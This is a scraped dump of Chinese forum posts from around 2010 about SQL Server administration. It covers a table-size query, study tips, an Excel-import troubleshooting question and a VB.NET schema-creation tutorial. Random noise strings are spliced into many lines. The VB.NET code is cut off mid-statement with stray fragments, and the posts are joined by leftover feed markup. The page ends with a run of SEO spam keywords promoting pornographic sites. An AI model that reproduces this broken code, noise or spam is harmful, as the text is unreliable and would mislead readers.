  * k* S8 B: \# R0 n1 H9 E
  執行存儲過程
; o' F) N2 B& b% `8 K8 Q  : z$ h1 y8 |2 l, q( v& y( ~/ M$ y
  exec get_tableinfo
9 [! J0 Z) U( r9 d5 ^- y  * A, h- `1 K/ N/ i; \  U, {
  查詢運行該存儲過程后得到的結果
" ~% O5 Q$ p( N+ I; z  ' @, R3 b6 M8 |% o8 @
  select *
" x) R3 A8 Q8 |3 d) W' E8 \. S  from tablespaceinfo: p+ S, ~! T" S8 D
  order by cast(left(ltrim(rtrim(reserved)) , len(ltrim(rtrim(reserved)))-2) as int) desc* C6 A. s3 a' r4 I2 }+ X
   $ g+ Y; ~4 s* w8 y

圖片點擊可在新窗口打開查看

]]>
新手學習SQL Server 2005的技巧和推薦書籍http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2518&Page=1wangxinxin2010-12-13 12:49:24
新手學習SQL Server 2005的技巧和推薦書籍    SQL Server 2005是當前應用最廣泛的數據庫,雖然很多地方不一定非要使用SQL數據庫,但為了將來程序的擴展,也必須適用,/ [' Q2 ]6 q6 Y5 q4 m' N1 R9 a% R
這就有一定的資源浪費了.因為大多數公司都使用SQL Server數據庫,所以為了讓大家更入門,特地總結了幾點技巧.5 L1 V% K# a& D) D
    (1)安裝在兩臺機器上,一臺機器作為服務器,一臺作為客戶端機器.雖然這很簡單,但一定要知道,如何連接服務器,進行數據交互,7 I) |* v' S, k5 h
還要知識數據服務器的工作原理.- I0 x9 X& b4 F
    (2)學習基本的SQL語句,這很關鍵,因為語句你不會,光會使用鼠標,那樣是無法結合程序來編寫數據訪問應用的.2 Z' d$ L- [% s' z! p
    (3)數據庫能保存的數據類型,呵呵,這個很基礎,但很關鍵,如圖片,你說在數據庫中怎么保存呢?  G' B  k/ Q) H
    (4)聽說過XML嗎,知道它和SQL Server 2005數據庫有什么關系嗎??看書了解詳細內容吧,Web 2.0時代的關鍵技術,不會就回到上世紀了.# b5 X- @$ e7 u
    (5)存儲過程\觸發器\事務,這些基礎一定要掌握,而且會寫基本的小型存儲過程,不要以自己是初學者為借口,初學者可以學習簡單內容的,* e0 M5 j, U+ c! o! w8 c, z' \8 U; `
這是招聘必考內容.
# x+ g$ u  M2 S! \9 I    (6)多看書,多動手,多去論壇,多問同事,多自己設計數據庫.不怕做多錯多,就怕不做.
; T; m6 x. q3 {( j    看書是對知識的一種吸收過程,初學者一定要完完整整的看過一本書,第一次最好從入門書開始.最后看了一些國外和國內的入門書籍,
8 ?) h0 ~! K) W9 D) v& x推薦兩本給讀者,自己選擇了..
  r) }. @& t- V    (1)零基礎學SQL Server 2005
8 l$ n% r( D! D3 |- |8 q       是目前最簡單的一本入門書,講解的知識點很多很細,比較適合自學和初學的人,對于目前比較流行的xml技術也介紹詳細,最后還提供4 R! v+ N& Z8 }$ R
了在.NET下開發的實例.初學者可以從理論到學習,到親自動手實踐,編排的不錯,適合國內的初學者看.茹果看完書有點迷糊,本書還有培訓課程,
7 m) b1 Q1 H; g/ V+ X# x不知道效果如何,大家可以44.- X- C8 X! H4 Q% `. a0 P
    (2)精通SQL SERVER 2005程序設計1 t8 v: I* p9 s3 p8 _
       是國外的書,屬于經典系列,適合初級\中級\高級讀者,知識點詳細,內容豐富,是一本好的學習書和參考書,價格比較貴.& Y5 J4 l0 j3 C' w: q$ Q$ S+ i
    學習一門語言或技術的流程比較簡單,入門者注意了.(1)仔細看入門書(2)親自動手實踐(3)在單位的項目中實踐,不段提出問題解決問題.
0 C- b0 q9 V1 c6 W 3步就能學會SQL Server 嗎?自己試試就知道了.

TOP

]]>
關于“EXCEL數據導入MS SQL SERVER2000”的技術討論!http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2517&Page=1wangxinxin2010-12-13 12:42:12在用DELPHI 7編程實現"EXCEL數據導入MS SQL SERVER 2000"時提示:
“已拒絕OLE DB提供程序‘Microsoft.Jet.OLEDB.4.0’的特殊訪問,必須通過鏈接服務器來訪問此提供程序。”
2.現狀:
   A:MS SQL SERVER 2000數據導入EXCEL程序如下:  -----程序運行是成功的!
   第一:連接數據庫:Provider=Microsoft.Jet.OLEDB.4.0;Data Source=e:\chengji.xls;Extended Properties=excel 8.0
   第二:導入數據:SELECT bianhao,yuwen into cj_yuwen  FROM a_chengji IN [ODBC][ODBC;Driver=SQL   server;UID=sys;PWD=;Server=YUAN;DataBase=tbms;]
    說明:將a_chengji表中的bianhao,yuwen列的數據導出到e:\chengji.xls的cj_yuwen工作表中.
   B:在MS SQL SERVER 2000查詢分析器執行如下命令:  ----命令運行是成功的!
    insert into a_chengji (bianhao,yuwen,shuxue,yingyu) select bianhao,yuwen,shuxue,yingyu FROM OpenDataSource('Microsoft.Jet.OLEDB.4.0','Data Source="e:\chengji.xls";Extended Properties="Excel 8.0;HDR=Yes;";Persist Security Info=False')...chengji$
    說明: 將e:\chengji.xls的chengji工作表中bianhao,yuwen,shuxue,yingyu列的數據導出到a_chengji表的bianhao,yuwen,shuxue,yingyu列中.
   C:在DELPHI 7編程實現"EXCEL數據導入MS SQL SERVER 2000":
  procedure Tf_chengji.BitBtn1Click(Sender: TObject);  
  var
  s_sql:string;
  begin
    s_sql:'insert into a_chengji (bianhao,yuwen,shuxue,yingyu) select bianhao,yuwen,shuxue,yingyu FROM OpenDataSource    ('''+'Microsoft.Jet.OLEDB.4.0'+''''+ ','+''''+'Data Source="'+'e:\chengji.xls'+'";Extended Properties="Excel     8.0;HDR=Yes;";Persist Security Info=False'+''''+')...chengji$';
    ADOConnection1.Connected:=false;
    ADOConnection1.ConnectionString:='Provider=SQLOLEDB.1;Persist Security Info=false;User ID=sys;Initial Catalog=tbms';
    ADOConnection1.Connected:=true;
    ADOConnection1.Execute(s_sql);
  end;
  說明:MS SQL SERVER 2000本地數據庫tbms,用戶名:sys,密碼:無。
  運行時,提示:
  “已拒絕OLE DB提供程序‘Microsoft.Jet.OLEDB.4.0’的特殊訪問,必須通過鏈接服務器來訪問此提供程序。”
3.分析:
  A和B的運行成功,說明MS SQL SERVER 2000和EXCEL是正常的,我們排除了MS SQL SERVER 2000和EXCEL異常的可能性。問題就出在DELPHI 7的程序上,B中命令運行成功,說明C中的s_sql語句是正確的,問題就應該在“鏈接服務器”上。
4.解決方案:
  A:找出被拒絕特殊訪問的原因,從而解決此問題:“通過對TADOConnection控件ADOConnection1的屬性設置”。
  B:新建“鏈接服務器”,從而訪問此提供程序:
     sp_addlinkedserver N'Excel', N'Jet 4.0',
                   N'Microsoft.Jet.OLEDB.4.0',
                   N'e:\chengji.xls', NULL, N'Excel 5.0'
     GO
     exec sp_addlinkedsrvlogin N'Excel', false, sa, N'ADMIN', NULL
     可我在查詢其chengji數據時:提示說找不到chengji表,或用戶名不具備訪問權限!
     SELECT * FROM EXCEL...chengji
5.新問題:
A:如何設置TADOConnection控件ADOConnection1的屬性設置,以解決其被拒絕???
B:如何編寫sp_addlinkedsrvlogin,以使“用戶名:sys,密碼:無”有權限????
C: 如果用sp_addlinkedserver建立新鏈接服務器,又應該如何在DELPHI 7編程實現"EXCEL數據導入MS SQL SERVER 2000"???]]>
動態創建SQL Server數據庫、表、存儲過程等架構信息http://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2516&Page=1wangxinxin2010-12-13 12:35:44------2003-9-4 12:59:31  


-------------------------------------------------------www.csdn.net

關鍵字     Sql Server,數據庫,創建
  
作者: 孟憲會 出自: 【孟憲會之精彩世界】 發布日期: 2003-8-17 23:34:35

下面是利用SQL語句創建數據庫、表、存儲過程、視圖、索引、規則、修改表、查看數據等的方法。所要增加的控件如下:

http://www.csdn.net/Develop/Arti ... 003-8-181234011.gif

Imports System.Data
Imports System.Data.SqlClient

Public Class Form1
  Inherits System.Windows.Forms.Form
  Private ConnectionString As String = "Data Source=.;Initial Catalog=;User Id=sa;Password=;"
  Private reader As SqlDataReader = Nothing
  Private conn As SqlConnection = Nothing
  Private cmd As SqlCommand = Nothing
  Private AlterTableBtn As System.Windows.Forms.Button
  Private sql As String = Nothing
  Private CreateOthersBtn As System.Windows.Forms.Button

#Region " Windows 窗體設計器生成的代碼 "
  '窗體重寫處置以清理組件列表。
  Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
    If disposing Then
      If Not (components Is Nothing) Then
        components.Dispose()
      End If
    End If
    MyBase.Dispose(disposing)
  End Sub
  Public Sub New()
    MyBase.New()
    InitializeComponent()
  End Sub
  Private components As System.ComponentModel.IContainer
  Friend WithEvents DataGrid1 As System.Windows.Forms.DataGrid
  Friend WithEvents CreateDBBtn As System.Windows.Forms.Button
  Friend WithEvents CreateTableBtn As System.Windows.Forms.Button
  Friend WithEvents CreateSPBtn As System.Windows.Forms.Button
  Friend WithEvents CreateViewBtn As System.Windows.Forms.Button
  Friend WithEvents btnAlterTable As System.Windows.Forms.Button
  Friend WithEvents btnCreateOthers As System.Windows.Forms.Button
  Friend WithEvents btnDropTable As System.Windows.Forms.Button
  Friend WithEvents btnViewData As System.Windows.Forms.Button
  Friend WithEvents btnViewSP As System.Windows.Forms.Button
  Friend WithEvents btnViewView As System.Windows.Forms.Button
  <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
    Me.CreateDBBtn = New System.Windows.Forms.Button()
    Me.CreateTableBtn = New System.Windows.Forms.Button()
    Me.CreateSPBtn = New System.Windows.Forms.Button()
    Me.CreateViewBtn = New System.Windows.Forms.Button()
    Me.btnAlterTable = New System.Windows.Forms.Button()
    Me.btnCreateOthers = New System.Windows.Forms.Button()
    Me.btnDropTable = New System.Windows.Forms.Button()
    Me.btnViewData = New System.Windows.Forms.Button()
    Me.btnViewSP = New System.Windows.Forms.Button()
    Me.btnViewView = New System.Windows.Forms.Button()
    Me.DataGrid1 = New System.Windows.Forms.DataGrid()
    CType(Me.DataGrid1, System.ComponentModel.ISupportInitialize).BeginInit()
    Me.SuspendLayout()
    '
    'CreateDBBtn
    '
    Me.CreateDBBtn.Location = New System.Drawing.Point(19, 9)
    Me.CreateDBBtn.Name = "CreateDBBtn"
    Me.CreateDBBtn.Size = New System.Drawing.Size(104, 23)
    Me.CreateDBBtn.TabIndex = 0
    Me.CreateDBBtn.Text = "創建數據庫"
    '
    'CreateTableBtn
    '
    Me.CreateTableBtn.Location = New System.Drawing.Point(139, 9)
    Me.CreateTableBtn.Name = "CreateTableBtn"
    Me.CreateTableBtn.TabIndex = 1
    Me.CreateTableBtn.Text = "創建表"
    '
    'CreateSPBtn
    '
    Me.CreateSPBtn.Location = New System.Drawing.Point(230, 9)
    Me.CreateSPBtn.Name = "CreateSPBtn"
    Me.CreateSPBtn.Size = New System.Drawing.Size(104, 23)
    Me.CreateSPBtn.TabIndex = 2
    Me.CreateSPBtn.Text = "創建存儲過程"
    '
    'CreateViewBtn
    '
    Me.CreateViewBtn.Location = New System.Drawing.Point(350, 9)
    Me.CreateViewBtn.Name = "CreateViewBtn"
    Me.CreateViewBtn.TabIndex = 3
    Me.CreateViewBtn.Text = "創建視圖"
    '
    'btnAlterTable
    '
    Me.btnAlterTable.Location = New System.Drawing.Point(441, 9)
    Me.btnAlterTable.Name = "btnAlterTable"
    Me.btnAlterTable.TabIndex = 4
    Me.btnAlterTable.Text = "修改表"
    '
    'btnCreateOthers
    '
    Me.btnCreateOthers.Location = New System.Drawing.Point(17, 43)
    Me.btnCreateOthers.Name = "btnCreateOthers"
    Me.btnCreateOthers.Size = New System.Drawing.Size(104, 23)
    Me.btnCreateOthers.TabIndex = 5
    Me.btnCreateOthers.Text = "創建規則和索引"
    '
    'btnDropTable
    '
    Me.btnDropTable.Location = New System.Drawing.Point(138, 43)
    Me.btnDropTable.Name = "btnDropTable"
    Me.btnDropTable.TabIndex = 6
    Me.btnDropTable.Text = "刪除表"
    '
    'btnViewData
    '
    Me.btnViewData.Location = New System.Drawing.Point(351, 43)
    Me.btnViewData.Name = "btnViewData"
    Me.btnViewData.TabIndex = 7
    Me.btnViewData.Text = "查看數據"
    '
    'btnViewSP
    '
    Me.btnViewSP.Location = New System.Drawing.Point(230, 43)
    Me.btnViewSP.Name = "btnViewSP"
    Me.btnViewSP.Size = New System.Drawing.Size(104, 23)
    Me.btnViewSP.TabIndex = 8
    Me.btnViewSP.Text = "查看存儲過程"
    '
    'btnViewView
    '
    Me.btnViewView.Location = New System.Drawing.Point(443, 43)
    Me.btnViewView.Name = "btnViewView"
    Me.btnViewView.TabIndex = 9
    Me.btnViewView.Text = "查看視圖"
    '
    'DataGrid1
    '
    Me.DataGrid1.DataMember = ""
    Me.DataGrid1.HeaderForeColor = System.Drawing.SystemColors.ControlText
    Me.DataGrid1.Location = New System.Drawing.Point(20, 76)
    Me.DataGrid1.Name = "DataGrid1"
    Me.DataGrid1.Size = New System.Drawing.Size(500, 183)
    Me.DataGrid1.TabIndex = 10
    '
    'Form1
    '
    Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
    Me.ClientSize = New System.Drawing.Size(538, 281)
    Me.Controls.AddRange(New System.Windows.Forms.Control() {Me.DataGrid1, Me.btnViewView, _
              Me.btnViewSP, Me.btnViewData, Me.btnDropTable, Me.btnCreateOthers, Me.btnAlterTable, _
              Me.CreateViewBtn, Me.CreateSPBtn, Me.CreateTableBtn, Me.CreateDBBtn})
    Me.Name = "Form1"
    Me.Text = "動態創建SQL Server數據庫、表、存儲過程等架構信息"
    CType(Me.DataGrid1, System.ComponentModel.ISupportInitialize).EndInit()
    Me.ResumeLayout(False)

  End Sub

#End Region

  ' 創建數據庫
  Private Sub CreateDBBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateDBBtn.Click
    conn = New SqlConnection(ConnectionString)
    ' 打開連接
    If conn.State <> ConnectionState.Open Then
      conn.Open()
    End If
    'MyDataBase為數據庫名稱
    Dim sql As String = "CREATE DATABASE MyDataBase ON PRIMARY (Name=MyDataBase_data, filename = " + _
        "'D:\MyDataBase.mdf', size=3," + "maxsize=5, filegrowth=10%) log on" + "(name=MyDataBase_log, " + _
        "filename='D:\MyDataBase.ldf',size=3," + "maxsize=20,filegrowth=1)"
    cmd = New SqlCommand(sql, conn)
    Try
      cmd.ExecuteNonQuery()
    Catch ae As SqlException
      MessageBox.Show(ae.Message.ToString())
    End Try
  End Sub
  '創建表
  Private Sub CreateTableBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateTableBtn.Click
    conn = New SqlConnection(ConnectionString)
    ' 打開連接
    If conn.State = ConnectionState.Open Then
      conn.Close()
    End If
    C
    conn.ConnectionString = ConnectionString
    conn.Open()
    sql = "CREATE TABLE myTable" + "(myId INTEGER CONSTRAINT PKeyMyId PRIMARY KEY," + _
      "myName CHAR(50) NOT Null, myAddress CHAR(255), myValues FLOAT)"
    cmd = New SqlCommand(sql, conn)
    Try
      cmd.ExecuteNonQuery()
      ' 添加紀錄
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1001, _'【孟憲會之精彩世界】之一', 'http://xml.sz.luohuedu.net/', 100 ) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1002, '【孟憲會之精彩世界】之二', 'http://www.erp800.com/net_lover/', 99) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1003, '【孟憲會之精彩世界】之三', 'http://xml.sz.luohuedu.net/', 99) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
      sql = "INSERT INTO myTable(myId, myName, myAddress, myValues) " + _
        "VALUES (1004, '【孟憲會之精彩世界】之四', 'http://www.erp800.com/net_lover/', 100) "
      cmd = New SqlCommand(sql, conn)
      cmd.ExecuteNonQuery()
    Catch ae As SqlException
      MessageBox.Show(ae.Message.ToString())
    End Try

  End Sub
  '創建存儲過程
  Private Sub CreateSPBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateSPBtn.Click
    sql = "CREATE PROCEDURE myProc AS" + " SELECT myName, myAddress FROM myTable GO"
    ExecuteSQLStmt(sql)
  End Sub
  '創建視圖
  Private Sub CreateViewBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles CreateViewBtn.Click
    sql = "CREATE VIEW myView AS SELECT myName FROM myTable"
    ExecuteSQLStmt(sql)

  End Sub
  '修改表
  Private Sub btnAlterTable_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles btnAlterTable.Click
    sql = "ALTER TABLE MyTable ADD newCol datetime NOT NULL DEFAULT (getdate())"
    ExecuteSQLStmt(sql)
  End Sub
  '創建規則和索引
  Private Sub btnCreateOthers_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles btnCreateOthers.Click
    sql = "CREATE UNIQUE INDEX " + "myIdx ON myTable(myName)"
    ExecuteSQLStmt(sql)

    sql = "CREATE RULE myRule " + "AS @myValues >= 90 AND @myValues < 9999"
    ExecuteSQLStmt(sql)
  End Sub

  '刪除表
  Private Sub btnDropTable_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
    Handles btnDropTable.Click
    Dim sql As String = "DROP TABLE MyTable"
    ExecuteSQLStmt(sql)
  End Sub
  '    C
    conn.ConnectionString = ConnectionString
    conn.Open()
    Dim da As New SqlDataAdapter("SELECT * FROM myView", conn)
    Dim ]]>
SQL Server 數據庫管理常用的SQL和T-SQhttp://www.xinguifushi.cn/bbs/dispbbs.asp?BoardID=67&ID=2515&Page=1wangxinxin2010-12-13 12:34:19select @@version
常見的幾種SQL SERVER打補丁后的版本號:
8.00.194 Microsoft SQL Server 2000
8.00.384 Microsoft SQL Server 2000 SP1
8.00.532 Microsoft SQL Server 2000 SP2
8.00.760 Microsoft SQL Server 2000 SP3
8.00.818 Microsoft SQL Server 2000 SP3 w/ Cumulative Patch MS03-031
8.00.2039 Microsoft SQL Server 2000 SP4
2. 查看數據庫所在機器操作系統參數
exec master..xp_msver
3. 查看數據庫啟動的參數
sp_configure
4. 查看數據庫啟動時間
select convert(varchar(30),login_time,120) from master..sysprocesses where spid=1
查看數據庫服務器名和實例名
print 'Server Name...............: ' + convert(varchar(30),@@SERVERNAME)
print 'Instance..................: ' + convert(varchar(30),@@SERVICENAME)
5. 查看所有數據庫名稱及大小
sp_helpdb
重命名數據庫用的SQL
sp_renamedb 'old_dbname', 'new_dbname'
6. 查看所有數據庫用戶登錄信息
sp_helplogins
查看所有數據庫用戶所屬的角色信息
sp_helpsrvrolemember
修復遷移服務器時孤立用戶時,可以用的fix_orphan_user腳本或者LoneUser過程
更改某個數據對象的用戶屬主
sp_changeobjectowner [@objectname =] 'object', [@newowner =] 'owner'
注意: 更改對象名的任一部分都可能破壞腳本和存儲過程。
把一臺服務器上的數據庫用戶登錄信息備份出來可以用add_login_to_aserver腳本
查看某數據庫下,對象級用戶權限
sp_helprotect
7. 查看鏈接服務器
sp_helplinkedsrvlogin
查看遠端數據庫用戶登錄信息
sp_helpremotelogin
8.查看某數據庫下某個數據對象的大小
sp_spaceused @objname
還可以用sp_toptables過程看最大的N(默認為50)個表
查看某數據庫下某個數據對象的索引信息
sp_helpindex @objname
還可以用SP_NChelpindex過程查看更詳細的索引情況
SP_NChelpindex @objname
clustered索引是把記錄按物理順序排列的,索引占的空間比較少。
對鍵值DML操作十分頻繁的表我建議用非clustered索引和約束,fillfactor參數都用默認值。
查看某數據庫下某個數據對象的的約束信息
sp_helpconstraint @objname
9.查看數據庫里所有的存儲過程和函數
use @database_name
sp_stored_procedures
查看存儲過程和函數的源代碼
sp_helptext '@procedure_name'
查看包含某個字符串@str的數據對象名稱
select distinct object_name(id) from syscomments where text like '%@str%'
創建加密的存儲過程或函數在AS前面加WITH ENCRYPTION參數
解密加密過的存儲過程和函數可以用sp_decrypt過程
10.查看數據庫里用戶和進程的信息
sp_who
查看SQL Server數據庫里的活動用戶和進程的信息
sp_who 'active'
查看SQL Server數據庫里的鎖的情況
sp_lock
進程號1--50是SQL Server系統內部用的,進程號大于50的才是用戶的連接進程.
spid是進程編號,dbid是數據庫編號,objid是數據對象編號
查看進程正在執行的SQL語句
dbcc inputbuffer ()
推薦大家用經過改進后的sp_who3過程可以直接看到進程運行的SQL語句
sp_who3
檢查死鎖用sp_who_lock過程
sp_who_lock
11.查看和收縮數據庫日志文件的方法
查看所有數據庫日志文件大小
dbcc sqlperf(logspace)
如果某些日志文件較大,收縮簡單恢復模式數據庫日志,收縮后@database_name_log的大小單位為M
backup log @database_name with no_log
dbcc shrinkfile (@database_name_log, 5)
12.分析SQL Server SQL 語句的方法:
set statistics time {on | off}
set statistics io {on | off}
圖形方式顯示查詢執行計劃
在查詢分析器->查詢->顯示估計的評估計劃(D)-Ctrl-L 或者點擊工具欄里的圖形
文本方式顯示查詢執行計劃
set showplan_all {on | off}
set showplan_text { on | off }
set statistics profile { on | off }
13.出現不一致錯誤時,NT事件查看器里出3624號錯誤,修復數據庫的方法
先注釋掉應用程序里引用的出現不一致性錯誤的表,然后在備份或其它機器上先恢復然后做修復操作
alter database [@error_database_name] set single_user
修復出現不一致錯誤的表
dbcc checktable('@error_table_name',repair_allow_data_loss)
或者可惜選擇修復出現不一致錯誤的小型數據庫名
dbcc checkdb('@error_database_name',repair_allow_data_loss)
alter database [@error_database_name] set multi_user
CHECKDB 有3個參數:
repair_allow_data_loss 包括對行和頁進行分配和取消分配以改正分配錯誤、結構行或頁的錯誤,以及刪除已損壞的文本對象,這些修復可能會導致一些數據丟失。
修復操作可以在用戶事務下完成以允許用戶回滾所做的更改。
如果回滾修復,則數據庫仍會含有錯誤,應該從備份進行恢復。
如果由于所提供修復等級的緣故遺漏某個錯誤的修復,則將遺漏任何取決于該修復的修復。
修復完成后,請備份數據庫。
repair_rest 進行小的、不耗時的修復操作,如修復非聚集索引中的附加鍵。
這些修復可以很快完成,并且不會有丟失數據的危險。
repair_rebuild 執行由 repair_rest 完成的所有修復,包括需要較長時間的修復(如重建索引)。
執行這些修復時不會有丟失數據的危險。 ]]>
主站蜘蛛池模板: 国产禁女女网站免费看 | 国产成年网站v片在线观看 国产成人aa在线视频 | 亚洲欧美不卡中文字幕 | 成人精品国产亚洲欧洲 | 国产一区二区在线播放 | 亚洲一区中文字幕 | 亚洲午夜精品一级在线 | 永久黄网站色视频免费观看99 | 亚洲国产成人综合精品2020 | 26uuu天天夜夜综合 | 日本理论在线播放 | 色视频一区二区三区 | 国产日韩线路一线路二 | 性理论片 | 国产原创一区二区 | 欧美成人看片一区二区三区 | 我要看三级毛片 | 欧美日本色 | 国产成人午夜精品影院游乐网 | 欧美精品片 | 69日本xxxxxxxxx13| 久久免费在线观看 | 91一区二区在线观看精品 | 成年人在线视频网站 | 日韩午夜精品 | 久久免费视频在线观看30 | 国产男人天堂 | 九九黄色影院 | a毛片免费视频 | 香蕉视频国产精品 | 中文字幕亚洲另类天堂 | 国内美女福利视频在线观看网站 | 日本三级香港三级人妇99 | 国产精品极品 | 韩国免费一级成人毛片 | 日韩欧美久久一区二区 | 亚洲国产日韩欧美综合久久 | 亚洲欧洲国产成人精品 | 日本草草视频在线观看 | 欧美做爰野外在线视频观看 | 亚洲日本在线看片 |